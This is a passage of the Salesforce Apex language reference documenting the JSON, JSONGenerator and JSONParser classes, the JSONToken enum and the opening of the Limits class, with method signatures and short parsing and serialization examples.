Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print
format.
createGenerator(prettyPrint)
Returns a new JSON generator.
Signature
public static System.JSONGenerator createGenerator(Boolean prettyPrint)
Parameters
prettyPrint
Type: Boolean
Determines whether the JSON generator creates JSON content in pretty-print format with the content indented. Set to true to
create indented content.
Return Value
Type: System.JSONGenerator
createParser(jsonString)
Returns a new JSON parser.
Signature
public static System.JSONParser createParser(String jsonString)
Parameters
jsonString
Type: String
The JSON content to parse.
Return Value
Type: System.JSONParser
deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
Signature
public static Object deserialize(String jsonString, System.Type apexType)
2307
JSON ClassReference
Parameters
jsonString
Type: String
The JSON content to deserialize.
apexType
Type: System.Type
The Apex type of the object that this method creates after deserializing the JSON content.
Return Value
Type: Object
Usage
If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization
fails in some circumstances. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or
earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class
in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores
extraneous attributes and parses the rest of the JSON content.
Example
The following example deserializes a Decimal value.
Decimal n=(Decimal)JSON.deserialize(
'100.1',Decimal.class);
System.assertEquals(n, 100.1);
deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.
Signature
public static Object deserializeStrict(String jsonString, System.Type apexType)
Parameters
jsonString
Type: String
The JSON content to deserialize.
apexType
Type: System.Type
The Apex type of the object that this method creates after deserializing the JSON content.
Return Value
Type: Object
2308
JSON ClassReference
Usage
All attributes in the JSON string must be present in the specified type. If the JSON content contains attributes not present in the
System.Type argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON
content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is
thrown when you use this method to deserialize JSON content into a custom object or an sObject.
Example
The following example deserializes a JSON string into an object of a user-defined type represented by the Car class, which this example
also defines.
public class Car {
public String make;
public String year;
}
public void parse() {
Car c = (Car)JSON.deserializeStrict(
'{"make":"SFDC","year":"2020"}',
Car.class);
System.assertEquals(c.make, 'SFDC');
System.assertEquals(c.year, '2020');
}
deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.
Signature
public static Object deserializeUntyped(String jsonString)
Parameters
jsonString
Type: String
The JSON content to deserialize.
Return Value
Type: Object
Example
The following example deserializes a JSON representation of an appliance object into a map that contains primitive data types and
further collections of primitive types. It then verifies the deserialized values.
String jsonInput = '{\n' +
' "description" :"An appliance",\n' +
' "accessories" : [ "powerCord", ' +
'{ "right":"door handle1", ' +
2309
JSON ClassReference
'"left":"door handle2" } ],\n' +
' "dimensions" : ' +
'{ "height" : 5.5 , ' +
'"width" : 3.0 , ' +
'"depth" : 2.2 },\n' +
' "type" : null,\n' +
' "inventory" : 2000,\n' +
' "price" : 1023.45,\n' +
' "isShipped" : true,\n' +
' "modelNumber" : "123"\n' +
'}';
Map<String,Object>m=
(Map<String,Object>)
JSON.deserializeUntyped(jsonInput);
System.assertEquals(
'An appliance', m.get('description'));
List<Object>a=
(List<Object>)m.get('accessories');
System.assertEquals('powerCord', a[0]);
Map<String,Object> a2 =
(Map<String,Object>)a[1];
System.assertEquals(
'door handle1', a2.get('right'));
System.assertEquals(
'door handle2', a2.get('left'));
Map<String,Object> dim =
(Map<String,Object>)m.get('dimensions');
System.assertEquals(
5.5, dim.get('height'));
System.assertEquals(
3.0, dim.get('width'));
System.assertEquals(
2.2, dim.get('depth'));
System.assertEquals(null, m.get('type'));
System.assertEquals(
2000, m.get('inventory'));
System.assertEquals(
1023.45, m.get('price'));
System.assertEquals(
true, m.get('isShipped'));
System.assertEquals(
'123', m.get('modelNumber'));
serialize(objectToSerialize)
Serializes Apex objects into JSON content.
2310
JSON ClassReference
Signature
public static String serialize(Object objectToSerialize)
Parameters
objectToSerialize
Type: Object
The Apex object to serialize.
Return Value
Type: String
Example
The following example serializes a new Datetime value.
Datetime dt = Datetime.newInstance(
Date.newInstance(
2011, 3, 22),
Time.newInstance(
1, 15, 18, 0));
String str = JSON.serialize(dt);
System.assertEquals(
'"2011-03-22T08:15:18.000Z"',
str);
serialize(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content.
Signature
public static String serialize(Object objectToSerialize, Boolean suppressApexObjectNulls)
Parameters
objectToSerialize
Type: Object
The Apex object to serialize.
suppressApexObjectNulls
Type: Boolean
If true, remove null values before serializing the JSON object.
Return Value
Type: String
2311
JSON ClassReference
Usage
This method allows you to specify whether to suppress null values when serializing Apex objects into JSON content.
serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.
Signature
public static String serializePretty(Object objectToSerialize)
Parameters
objectToSerialize
Type: Object
The Apex object to serialize.
Return Value
Type: String
serializePretty(objectToSerialize, suppressApexObjectNulls)
Suppresses null values when serializing Apex objects into JSON content and generates indented content using the pretty-print format.
Signature
public static String serializePretty(Object objectToSerialize, Boolean
suppressApexObjectNulls)
Parameters
objectToSerialize
Type: Object
The Apex object to serialize.
suppressApexObjectNulls
Type: Boolean
If true, remove null values before serializing the JSON object.
Return Value
Type: String
JSONGenerator Class
Contains methods used to serialize objects into JSON content using the standard JSON encoding.
2312
JSONGenerator ClassReference
Namespace
System
Usage
The System.JSONGenerator class is provided to enable the generation of standard JSON-encoded content and gives you more
control on the structure of the JSON output.
SEE ALSO:
JSON Generator
JSONGenerator Methods
The following are methods for JSONGenerator. All are instance methods.
IN THIS SECTION:
close()
Closes the JSON generator.
getAsString()
Returns the generated JSON content.
isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.
writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.
writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.
writeBoolean(blobValue)
Writes the specified Boolean value.
writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.
writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.
writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.
writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.
writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the
ISO-8601 format.
writeEndArray()
Writes the ending marker of a JSON array (']').
2313
JSONGenerator ClassReference
writeEndObject()
Writes the ending marker of a JSON object ('}').
writeFieldName(fieldName)
Writes a field name.
writeId(identifier)
Writes the specified ID value.
writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.
writeNull()
Writes the JSON null literal value.
writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.
writeNumber(number)
Writes the specified decimal value.
writeNumber(number)
Writes the specified double value.
writeNumber(number)
Writes the specified integer value.
writeNumber(number)
Writes the specified long value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.
writeObject(anyObject)
Writes the specified Apex object in JSON format.
writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.
writeStartArray()
Writes the starting marker of a JSON array ('[').
writeStartObject()
Writes the starting marker of a JSON object ('{').
writeString(stringValue)
Writes the specified string value.
writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.
2314
JSONGenerator ClassReference
writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.
writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.
close()
Closes the JSON generator.
Signature
public Void close()
Return Value
Type: Void
Usage
No more content can be written after the JSON generator is closed.
getAsString()
Returns the generated JSON content.
Signature
public String getAsString()
Return Value
Type: String
Usage
This method closes the JSON generator if it isn't closed already.
isClosed()
Returns true if the JSON generator is closed; otherwise, returns false.
Signature
public Boolean isClosed()
Return Value
Type: Boolean
2315
JSONGenerator ClassReference
writeBlob(blobValue)
Writes the specified Blob value as a base64-encoded string.
Signature
public Void writeBlob(Blob blobValue)
Parameters
blobValue
Type: Blob
Return Value
Type: Void
writeBlobField(fieldName, blobValue)
Writes a field name and value pair using the specified field name and BLOB value.
Signature
public Void writeBlobField(String fieldName, Blob blobValue)
Parameters
fieldName
Type: String
blobValue
Type: Blob
Return Value
Type: Void
writeBoolean(blobValue)
Writes the specified Boolean value.
Signature
public Void writeBoolean(Boolean blobValue)
Parameters
blobValue
Type: Boolean
2316
JSONGenerator ClassReference
Return Value
Type: Void
writeBooleanField(fieldName, booleanValue)
Writes a field name and value pair using the specified field name and Boolean value.
Signature
public Void writeBooleanField(String fieldName, Boolean booleanValue)
Parameters
fieldName
Type: String
booleanValue
Type: Boolean
Return Value
Type: Void
writeDate(dateValue)
Writes the specified date value in the ISO-8601 format.
Signature
public Void writeDate(Date dateValue)
Parameters
dateValue
Type: Date
Return Value
Type: Void
writeDateField(fieldName, dateValue)
Writes a field name and value pair using the specified field name and date value. The date value is written in the ISO-8601 format.
Signature
public Void writeDateField(String fieldName, Date dateValue)
2317
JSONGenerator ClassReference
Parameters
fieldName
Type: String
dateValue
Type: Date
Return Value
Type: Void
writeDateTime(datetimeValue)
Writes the specified date and time value in the ISO-8601 format.
Signature
public Void writeDateTime(Datetime datetimeValue)
Parameters
datetimeValue
Type: Datetime
Return Value
Type: Void
writeDateTimeField(fieldName, datetimeValue)
Writes a field name and value pair using the specified field name and date and time value. The date and time value is written in the
ISO-8601 format.
Signature
public Void writeDateTimeField(String fieldName, Datetime datetimeValue)
Parameters
fieldName
Type: String
datetimeValue
Type: Datetime
Return Value
Type: Void
2318
JSONGenerator ClassReference
writeEndArray()
Writes the ending marker of a JSON array (']').
Signature
public Void writeEndArray()
Return Value
Type: Void
writeEndObject()
Writes the ending marker of a JSON object ('}').
Signature
public Void writeEndObject()
Return Value
Type: Void
writeFieldName(fieldName)
Writes a field name.
Signature
public Void writeFieldName(String fieldName)
Parameters
fieldName
Type: String
Return Value
Type: Void
writeId(identifier)
Writes the specified ID value.
Signature
public Void writeId(ID identifier)
2319
JSONGenerator ClassReference
Parameters
identifier
Type: ID
Return Value
Type: Void
writeIdField(fieldName, identifier)
Writes a field name and value pair using the specified field name and identifier value.
Signature
public Void writeIdField(String fieldName, Id identifier)
Parameters
fieldName
Type: String
identifier
Type: ID
Return Value
Type: Void
writeNull()
Writes the JSON null literal value.
Signature
public Void writeNull()
Return Value
Type: Void
writeNullField(fieldName)
Writes a field name and value pair using the specified field name and the JSON null literal value.
Signature
public Void writeNullField(String fieldName)
2320
JSONGenerator ClassReference
Parameters
fieldName
Type: String
Return Value
Type: Void
writeNumber(number)
Writes the specified decimal value.
Signature
public Void writeNumber(Decimal number)
Parameters
number
Type: Decimal
Return Value
Type: Void
writeNumber(number)
Writes the specified double value.
Signature
public Void writeNumber(Double number)
Parameters
number
Type: Double
Return Value
Type: Void
writeNumber(number)
Writes the specified integer value.
Signature
public Void writeNumber(Integer number)
2321
JSONGenerator ClassReference
Parameters
number
Type: Integer
Return Value
Type: Void
writeNumber(number)
Writes the specified long value.
Signature
public Void writeNumber(Long number)
Parameters
number
Type: Long
Return Value
Type: Void
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and decimal value.
Signature
public Void writeNumberField(String fieldName, Decimal number)
Parameters
fieldName
Type: String
number
Type: Decimal
Return Value
Type: Void
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and double value.
2322
JSONGenerator ClassReference
Signature
public Void writeNumberField(String fieldName, Double number)
Parameters
fieldName
Type: String
number
Type: Double
Return Value
Type: Void
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and integer value.
Signature
public Void writeNumberField(String fieldName, Integer number)
Parameters
fieldName
Type: String
number
Type: Integer
Return Value
Type: Void
writeNumberField(fieldName, number)
Writes a field name and value pair using the specified field name and long value.
Signature
public Void writeNumberField(String fieldName, Long number)
Parameters
fieldName
Type: String
number
Type: Long
2323
JSONGenerator ClassReference
Return Value
Type: Void
writeObject(anyObject)
Writes the specified Apex object in JSON format.
Signature
public Void writeObject(Object anyObject)
Parameters
anyObject
Type: Object
Return Value
Type: Void
writeObjectField(fieldName, value)
Writes a field name and value pair using the specified field name and Apex object.
Signature
public Void writeObjectField(String fieldName, Object value)
Parameters
fieldName
Type: String
value
Type: Object
Return Value
Type: Void
writeStartArray()
Writes the starting marker of a JSON array ('[').
Signature
public Void writeStartArray()
Return Value
Type: Void
2324
JSONGenerator ClassReference
writeStartObject()
Writes the starting marker of a JSON object ('{').
Signature
public Void writeStartObject()
Return Value
Type: Void
writeString(stringValue)
Writes the specified string value.
Signature
public Void writeString(String stringValue)
Parameters
stringValue
Type: String
Return Value
Type: Void
writeStringField(fieldName, stringValue)
Writes a field name and value pair using the specified field name and string value.
Signature
public Void writeStringField(String fieldName, String stringValue)
Parameters
fieldName
Type: String
stringValue
Type: String
Return Value
Type: Void
writeTime(timeValue)
Writes the specified time value in the ISO-8601 format.
2325
JSONGenerator ClassReference
Signature
public Void writeTime(Time timeValue)
Parameters
timeValue
Type: Time
Return Value
Type: Void
writeTimeField(fieldName, timeValue)
Writes a field name and value pair using the specified field name and time value in the ISO-8601 format.
Signature
public Void writeTimeField(String fieldName, Time timeValue)
Parameters
fieldName
Type: String
timeValue
Type: Time
Return Value
Type: Void
JSONParser Class
Represents a parser for JSON-encoded content.
Namespace
System
Usage
Use the System.JSONParser methods to parse a response that's returned from a call to an external service that is in JSON format,
such as a JSON-encoded response of a Web service callout.
SEE ALSO:
JSON Parsing
2326
JSONParser ClassReference
JSONParser Methods
The following are methods for JSONParser. All are instance methods.
IN THIS SECTION:
clearCurrentToken()
Removes the current token.
getBlobValue()
Returns the current token as a BLOB value.
getBooleanValue()
Returns the current token as a Boolean value.
getCurrentName()
Returns the name associated with the current token.
getCurrentToken()
Returns the token that the parser currently points to or null if there's no current token.
getDatetimeValue()
Returns the current token as a date and time value.
getDateValue()
Returns the current token as a date value.
getDecimalValue()
Returns the current token as a decimal value.
getDoubleValue()
Returns the current token as a double value.
getIdValue()
Returns the current token as an ID value.
getIntegerValue()
Returns the current token as an integer value.
getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.
getLongValue()
Returns the current token as a long value.
getText()
Returns the textual representation of the current token or null if there's no current token.
getTimeValue()
Returns the current token as a time value.
hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.
nextToken()
Returns the next token or null if the parser has reached the end of the input stream.
nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.
2327
JSONParser ClassReference
readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.
readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON
content must be present in the specified type.
skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently
points to.
clearCurrentToken()
Removes the current token.
Signature
public Void clearCurrentToken()
Return Value
Type: Void
Usage
After this method is called, a call to hasCurrentToken returns false and a call to getCurrentToken returns null. You
can retrieve the cleared token by calling getLastClearedToken.
getBlobValue()
Returns the current token as a BLOB value.
Signature
public Blob getBlobValue()
Return Value
Type: Blob
Usage
The current token must be of type JSONToken.VALUE_STRING and must be Base64-encoded.
getBooleanValue()
Returns the current token as a Boolean value.
Signature
public Boolean getBooleanValue()
2328
JSONParser ClassReference
Return Value
Type: Boolean
Usage
The current token must be of type JSONToken.VALUE_TRUE or JSONToken.VALUE_FALSE.
The following example parses a sample JSON string and retrieves a Boolean value.
String JSONContent =
'{"isActive":true}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the Boolean value.
Boolean isActive = parser.getBooleanValue();
getCurrentName()
Returns the name associated with the current token.
Signature
public String getCurrentName()
Return Value
Type: String
Usage
If the current token is of type JSONToken.FIELD_NAME, this method returns the same value as getText. If the current token is
a value, this method returns the field name that precedes this token. For other values such as array values or root-level values, this method
returns null.
The following example parses a sample JSON string. It advances to the field value and retrieves its corresponding field name.
Example
String JSONContent = '{"firstName":"John"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the field name for the current value.
String fieldName = parser.getCurrentName();
// Get the textual representation
2329
JSONParser ClassReference
// of the value.
String fieldValue = parser.getText();
getCurrentToken()
Returns the token that the parser currently points to or null if there's no current token.
Signature
public System.JSONToken getCurrentToken()
Return Value
Type: System.JSONToken
Usage
The following example iterates through all the tokens in a sample JSON string.
String JSONContent = '{"firstName":"John"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the next token.
while (parser.nextToken() != null) {
System.debug('Current token: ' +
parser.getCurrentToken());
}
getDatetimeValue()
Returns the current token as a date and time value.
Signature
public Datetime getDatetimeValue()
Return Value
Type: Datetime
Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Datetime value in the ISO-8601 format.
The following example parses a sample JSON string and retrieves a Datetime value.
String JSONContent =
'{"transactionDate":"2011-03-22T13:01:23"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
2330
JSONParser ClassReference
// Advance to the next value.
parser.nextValue();
// Get the transaction date.
Datetime transactionDate =
parser.getDatetimeValue();
getDateValue()
Returns the current token as a date value.
Signature
public Date getDateValue()
Return Value
Type: Date
Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Date value in the ISO-8601 format.
The following example parses a sample JSON string and retrieves a Date value.
String JSONContent =
'{"dateOfBirth":"2011-03-22"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the date of birth.
Date dob = parser.getDateValue();
getDecimalValue()
Returns the current token as a decimal value.
Signature
public Decimal getDecimalValue()
Return Value
Type: Decimal
Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT or JSONToken.VALUE_NUMBER_INT and is a
numerical value that can be converted to a value of type Decimal.
2331
JSONParser ClassReference
The following example parses a sample JSON string and retrieves a Decimal value.
String JSONContent =
'{"GPA":3.8}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Decimal gpa = parser.getDecimalValue();
getDoubleValue()
Returns the current token as a double value.
Signature
public Double getDoubleValue()
Return Value
Type: Double
Usage
The current token must be of type JSONToken.VALUE_NUMBER_FLOAT and is a numerical value that can be converted to a
value of type Double.
The following example parses a sample JSON string and retrieves a Double value.
String JSONContent =
'{"GPA":3.8}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the GPA score.
Double gpa = parser.getDoubleValue();
getIdValue()
Returns the current token as an ID value.
Signature
public ID getIdValue()
2332
JSONParser ClassReference
Return Value
Type: ID
Usage
The current token must be of type JSONToken.VALUE_STRING and must be a valid ID.
The following example parses a sample JSON string and retrieves an ID value.
String JSONContent =
'{"recordId":"001R0000002nO6H"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record ID.
ID recordID = parser.getIdValue();
getIntegerValue()
Returns the current token as an integer value.
Signature
public Integer getIntegerValue()
Return Value
Type: Integer
Usage
The current token must be of type JSONToken.VALUE_NUMBER_INT and must represent an Integer.
The following example parses a sample JSON string and retrieves an Integer value.
String JSONContent =
'{"recordCount":10}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Integer count = parser.getIntegerValue();
getLastClearedToken()
Returns the last token that was cleared by the clearCurrentToken method.
2333
JSONParser ClassReference
Signature
public System.JSONToken getLastClearedToken()
Return Value
Type: System.JSONToken
getLongValue()
Returns the current token as a long value.
Signature
public Long getLongValue()
Return Value
Type: Long
Usage
The current token must be of type JSONToken.VALUE_NUMBER_INT and is a numerical value that can be converted to a value
of type Long .
The following example parses a sample JSON string and retrieves a Long value.
String JSONContent =
'{"recordCount":2097531021}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the record count.
Long count = parser.getLongValue();
getText()
Returns the textual representation of the current token or null if there's no current token.
Signature
public String getText()
Return Value
Type: String
2334
JSONParser ClassReference
Usage
No current token exists, and therefore this method returns null, if nextToken has not been called yet for the first time or if the
parser has reached the end of the input stream.
getTimeValue()
Returns the current token as a time value.
Signature
public Time getTimeValue()
Return Value
Type: Time
Usage
The current token must be of type JSONToken.VALUE_STRING and must represent a Time value in the ISO-8601 format.
The following example parses a sample JSON string and retrieves a Datetime value.
String JSONContent =
'{"arrivalTime":"18:05"}';
JSONParser parser =
JSON.createParser(JSONContent);
// Advance to the start object marker.
parser.nextToken();
// Advance to the next value.
parser.nextValue();
// Get the arrival time.
Time arrivalTime = parser.getTimeValue();
hasCurrentToken()
Returns true if the parser currently points to a token; otherwise, returns false.
Signature
public Boolean hasCurrentToken()
Return Value
Type: Boolean
nextToken()
Returns the next token or null if the parser has reached the end of the input stream.
Signature
public System.JSONToken nextToken()
2335
JSONParser ClassReference
Return Value
Type: System.JSONToken
Usage
Advances the stream enough to determine the type of the next token, if any.
nextValue()
Returns the next token that is a value type or null if the parser has reached the end of the input stream.
Signature
public System.JSONToken nextValue()
Return Value
Type: System.JSONToken
Usage
Advances the stream enough to determine the type of the next token that is of a value type, if any, including a JSON array and object
start and end markers.
readValueAs(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object.
Signature
public Object readValueAs(System.Type apexType)
Parameters
apexType
Type: System.Type
The apexType argument specifies the type of the object that this method returns after deserializing the current value.
Return Value
Type: Object
Usage
If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization
fails in some circumstances. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or
earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class
in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores
extraneous attributes and parses the rest of the JSON content.
2336
JSONParser ClassReference
Example
The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create
a new Apex class as follows:
public class Person {
public String name;
public String phone;
}
Next, insert the following sample in a class method:
// JSON string that contains a Person object.
String JSONContent =
'{"person":{' +
'"name":"John Smith",' +
'"phone":"555-1212"}}';
JSONParser parser =
JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj =
(Person)parser.readValueAs(
Person.class);
System.assertEquals(
obj.name, 'John Smith');
System.assertEquals(
obj.phone, '555-1212');
readValueAsStrict(apexType)
Deserializes JSON content into an object of the specified Apex type and returns the deserialized object. All attributes in the JSON content
must be present in the specified type.
Signature
public Object readValueAsStrict(System.Type apexType)
Parameters
apexType
Type: System.Type
The apexType argument specifies the type of the object that this method returns after deserializing the current value.
Return Value
Type: Object
2337
JSONParser ClassReference
Usage
If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization
fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an
exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom
object or an sObject.
The following example parses a sample JSON string and retrieves a Datetime value. Before being able to run this sample, you must create
a new Apex class as follows:
public class Person {
public String name;
public String phone;
}
Next, insert the following sample in a class method:
// JSON string that contains a Person object.
String JSONContent =
'{"person":{' +
'"name":"John Smith",' +
'"phone":"555-1212"}}';
JSONParser parser =
JSON.createParser(JSONContent);
// Make calls to nextToken()
// to point to the second
// start object marker.
parser.nextToken();
parser.nextToken();
parser.nextToken();
// Retrieve the Person object
// from the JSON string.
Person obj =
(Person)parser.readValueAsStrict(
Person.class);
System.assertEquals(
obj.name, 'John Smith');
System.assertEquals(
obj.phone, '555-1212');
skipChildren()
Skips all child tokens of type JSONToken.START_ARRAY and JSONToken.START_OBJECT that the parser currently points
to.
Signature
public Void skipChildren()
Return Value
Type: Void
2338
JSONParser ClassReference
JSONToken Enum
Contains all token values used for parsing JSON content.
Namespace
System
DescriptionEnum Value
The ending of an array value. This token is returned when ']' is
encountered.
END_ARRAY
The ending of an object value. This token is returned when '}' is
encountered.
END_OBJECT
A string token that is a field name.FIELD_NAME
The requested token isn't available.NOT_AVAILABLE
The start of an array value. This token is returned when '[' is
encountered.
START_ARRAY
The start of an object value. This token is returned when '{' is
encountered.
START_OBJECT
An embedded object that isn't accessible as a typical object
structure that includes the start and end object tokens
START_OBJECT and END_OBJECT but is represented as a raw object.
VALUE_EMBEDDED_OBJECT
The literal “false” value.VALUE_FALSE
The literal “null” value.VALUE_NULL
A float value.VALUE_NUMBER_FLOAT
An integer value.VALUE_NUMBER_INT
A string value.VALUE_STRING
A value that corresponds to the “true” string literal.VALUE_TRUE
Limits Class
Contains methods that return limit information for specific resources.
Namespace
System
Usage
The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap
size remaining.
2339
JSONToken EnumReference
Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway
Apex doesn’t monopolize shared resources.
None of the Limits methods require an argument. The format of the limits methods is as follows:
myDMLLimit = Limits.getDMLStatements();
There are two versions of every method: the first returns the amount of the resource that has been used while the second version contains
the word limit and returns the total amount of the resource that is available.
See Execution Governors and Limits on page 274.
Limits Methods
The following are methods for Limits. All methods are static.
IN THIS SECTION:
getAggregateQueries()
Returns the number of aggregate queries that have been processed with any SOQL query statement.
getLimitAggregateQueries()
Returns the total number of aggregate queries that can be processed with SOQL query statements.
getAsyncCalls()
Reserved for future use.
getLimitAsyncCalls()
Reserved for future use.
getCallouts()
Returns the number of Web service statements that have been processed.
getLimitCallouts()
Returns the total number of Web service statements that can be processed.
getCpuTime()
Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.
getLimitCpuTime()
Returns the time limit (in milliseconds) of CPU usage in the current transaction.
getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements,
the Database.emptyRecycleBin method, and other methods.
getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements,
the database.EmptyRecycleBin method, and other methods.
getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that
have been called.
getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.
2340
Limits ClassReference
getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.
getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.
getFindSimilarCalls()
Deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate
limit, but is tracked as the number of SOSL queries issued.
getLimitFindSimilarCalls()
Deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a
separate limit, but is tracked as the number of SOSL queries issued.
getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).
getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).
getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.
getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.
getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.
getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.
getQueries()
Returns the number of SOQL queries that have been issued.
getLimitQueries()
Returns the total number of SOQL queries that can be issued.
getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.
getLimitQueryLocatorRows()
Returns the total number of records that have been returned by the Database.getQueryLocator method.
getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.
getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.
getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class
that implements the Queueable interface.
getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to
a class that implements the Queueable interface.
2341
Limits ClassReference
getRunAs()
Deprecated. Returns the same value as getDMLStatements.
getLimitRunAs()
Deprecated. Returns the same value as getLimitDMLStatements.
getSavepointRollbacks()
Deprecated. Returns the same value as getDMLStatements.
getLimitSavepointRollbacks()
Deprecated. Returns the same value as getLimitDMLStatements.
getSavepoints()
Deprecated. Returns the same value as getDMLStatements.
getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.
getSoslQueries()
Returns the number of SOSL queries that have been issued.
getLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.
getAggregateQueries()
Returns the number of aggregate queries that have been processed with any SOQL query statement.
Signature
public static Integer getAggregateQueries()
Return Value
Type: Integer
getLimitAggregateQueries()
Returns the total number of aggregate queries that can be processed with SOQL query statements.
Signature
public static Integer getLimitAggregateQueries()
Return Value
Type: Integer
getAsyncCalls()
Reserved for future use.
2342
Limits ClassReference
Signature
public static Integer getAsyncCalls()
Return Value
Type: Integer
getLimitAsyncCalls()
Reserved for future use.
Signature
public static Integer getLimitAsyncCalls()
Return Value
Type: Integer
getCallouts()
Returns the number of Web service statements that have been processed.
Signature
public static Integer getCallouts()
Return Value
Type: Integer
getLimitCallouts()
Returns the total number of Web service statements that can be processed.
Signature
public static Integer getLimitCallouts()
Return Value
Type: Integer
